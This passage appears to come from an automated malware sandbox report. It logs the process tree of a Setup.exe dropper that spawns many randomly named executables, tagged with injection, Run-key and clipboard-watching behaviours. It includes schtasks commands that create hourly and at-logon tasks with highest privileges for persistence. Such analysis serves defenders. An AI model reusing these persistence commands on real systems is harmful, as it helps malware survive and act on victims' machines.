PID 5036 wrote to memory of 2876	5036	Setup.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 5036 wrote to memory of 588	5036	Setup.exe	gQAj91Ns6CDH5Bwr_zpXD9of.exe
PID 5036 wrote to memory of 588	5036	Setup.exe	gQAj91Ns6CDH5Bwr_zpXD9of.exe
PID 5036 wrote to memory of 588	5036	Setup.exe	gQAj91Ns6CDH5Bwr_zpXD9of.exe
PID 5036 wrote to memory of 5084	5036	Setup.exe	zveqJik4HncDR0deDGLdZBOn.exe
PID 5036 wrote to memory of 5084	5036	Setup.exe	zveqJik4HncDR0deDGLdZBOn.exe
PID 5036 wrote to memory of 5084	5036	Setup.exe	zveqJik4HncDR0deDGLdZBOn.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1924

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2424

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2808

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2676

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2652

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1268

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1260

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1108

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:360

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start wuauserv
2⤵
PID:4660

C:\Program Files\Mozilla Firefox\default-browser-agent.exe
"C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
2⤵
PID:4572

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe
"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
2⤵
- Suspicious use of SetWindowsHookEx
PID:4524

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe"
3⤵
PID:5664

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:776

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1424

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions
4⤵
- Modifies system executable filetype association
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2700

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.150.0725.0001\FileSyncConfig.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.150.0725.0001\FileSyncConfig.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
PID:5076

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:984

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5036

C:\Users\Admin\Documents\ECOLkWzIR00wBNydnGPZctqZ.exe
"C:\Users\Admin\Documents\ECOLkWzIR00wBNydnGPZctqZ.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4180

C:\Users\Admin\AppData\Roaming\5880421.exe
"C:\Users\Admin\AppData\Roaming\5880421.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6140

C:\Users\Admin\AppData\Roaming\6195347.exe
"C:\Users\Admin\AppData\Roaming\6195347.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5252

C:\Users\Admin\AppData\Roaming\1649439.exe
"C:\Users\Admin\AppData\Roaming\1649439.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5624

C:\Users\Admin\AppData\Roaming\5522868.exe
"C:\Users\Admin\AppData\Roaming\5522868.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5412

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
4⤵
- Executes dropped EXE
PID:6436

C:\Users\Admin\Documents\WYeouKlZt4FYfae0LTybVkKh.exe
"C:\Users\Admin\Documents\WYeouKlZt4FYfae0LTybVkKh.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:3868

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
3⤵
PID:4656

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
4⤵
- Checks processor information in registry
PID:5684

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
3⤵
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
PID:11620

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=93.0.4577.63 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7fffe961a380,0x7fffe961a390,0x7fffe961a3a0
4⤵
PID:11756

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1684 /prefetch:2
4⤵
- Drops file in System32 directory
PID:10996

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2156 /prefetch:8
4⤵
PID:11480

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1736 /prefetch:8
4⤵
PID:11740

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2660 /prefetch:1
4⤵
PID:12096

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2680 /prefetch:1
4⤵
PID:10360

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
4⤵
PID:11692

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3596 /prefetch:1
4⤵
PID:6760

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3644 /prefetch:1
4⤵
PID:11752

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3660 /prefetch:1
4⤵
PID:10316

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4292 /prefetch:8
4⤵
PID:1588

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1976 /prefetch:8
4⤵
PID:2080

C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe
"C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel=stable --force-configure-user-settings
4⤵
PID:4960

C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe
"C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=93.0.4577.63 --initial-client-data=0x1ec,0x240,0x244,0x21c,0x248,0x7ff6609f6ee0,0x7ff6609f6ef0,0x7ff6609f6f00
5⤵
PID:12748

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4132 /prefetch:8
4⤵
PID:11528

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4172 /prefetch:8
4⤵
PID:12440

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4148 /prefetch:8
4⤵
PID:11452

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4112 /prefetch:8
4⤵
PID:1588

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1952 /prefetch:8
4⤵
PID:12700

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3852 /prefetch:8
4⤵
PID:13224

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1812 /prefetch:8
4⤵
PID:12004

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=812 /prefetch:8
4⤵
PID:13552

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4032 /prefetch:8
4⤵
PID:13544

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2028 /prefetch:8
4⤵
PID:14016

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2036 /prefetch:8
4⤵
PID:13840

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4184 /prefetch:8
4⤵
PID:14200

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4932 /prefetch:8
4⤵
PID:13996

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6016 /prefetch:8
4⤵
PID:12964

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=1948 /prefetch:8
4⤵
PID:10960

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4104 /prefetch:2
4⤵
PID:7632

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2240 /prefetch:8
4⤵
PID:10740

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4708 /prefetch:8
4⤵
PID:14140

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4392 /prefetch:8
4⤵
PID:14272

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3068 /prefetch:8
4⤵
PID:7772

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6000 /prefetch:8
4⤵
PID:8428

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3768 /prefetch:8
4⤵
PID:12672

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4000 /prefetch:8
4⤵
PID:14452

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6176 /prefetch:8
4⤵
PID:14580

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6184 /prefetch:8
4⤵
PID:14648

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3668 /prefetch:8
4⤵
PID:12624

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5204 /prefetch:8
4⤵
PID:14392

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3080 /prefetch:8
4⤵
PID:15112

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6700 /prefetch:8
4⤵
PID:15336

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6848 /prefetch:8
4⤵
PID:13124

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6196 /prefetch:8
4⤵
PID:14376

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4316 /prefetch:8
4⤵
PID:14656

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6968 /prefetch:8
4⤵
PID:9932

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6032 /prefetch:8
4⤵
PID:6884

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4996 /prefetch:8
4⤵
PID:9620

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7036 /prefetch:1
4⤵
PID:17556

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1672,12723629084994021111,6694899884967370343,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6916 /prefetch:1
4⤵
PID:18116

C:\Users\Admin\Documents\2g7dhuxXu1GYg4s9BFXNSamU.exe
"C:\Users\Admin\Documents\2g7dhuxXu1GYg4s9BFXNSamU.exe"
2⤵
- Executes dropped EXE
PID:4408

C:\Users\Admin\Documents\DneUek6APtftP4C2nqoOEWdR.exe
"C:\Users\Admin\Documents\DneUek6APtftP4C2nqoOEWdR.exe"
2⤵
- Executes dropped EXE
PID:4116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 660
3⤵
- Drops file in Windows directory
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 672
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 676
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 672
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 808
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 1164
3⤵
- Program crash
PID:7888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 1176
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:7896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 1124
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:5752

C:\Users\Admin\Documents\XjENiEUI2XjD4A7fWT8Vf8Av.exe
"C:\Users\Admin\Documents\XjENiEUI2XjD4A7fWT8Vf8Av.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:2184

C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe
"C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
PID:1524

C:\Users\Admin\Documents\z4bjb9PWf_ZK2zBHe2DiT88U.exe
"C:\Users\Admin\Documents\z4bjb9PWf_ZK2zBHe2DiT88U.exe"
4⤵
PID:9536

C:\Users\Admin\AppData\Roaming\6660649.exe
"C:\Users\Admin\AppData\Roaming\6660649.exe"
5⤵
- Suspicious behavior: SetClipboardViewer
PID:16332

C:\Users\Admin\AppData\Roaming\6774012.exe
"C:\Users\Admin\AppData\Roaming\6774012.exe"
5⤵
PID:14772

C:\Users\Admin\AppData\Roaming\7358917.exe
"C:\Users\Admin\AppData\Roaming\7358917.exe"
5⤵
PID:15472

C:\Users\Admin\Documents\P2Yghy0Jkn0UPp2yV4xb7pfq.exe
"C:\Users\Admin\Documents\P2Yghy0Jkn0UPp2yV4xb7pfq.exe"
4⤵
PID:9824

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:3628

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:5332

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
"C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3176

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4764

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5216

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
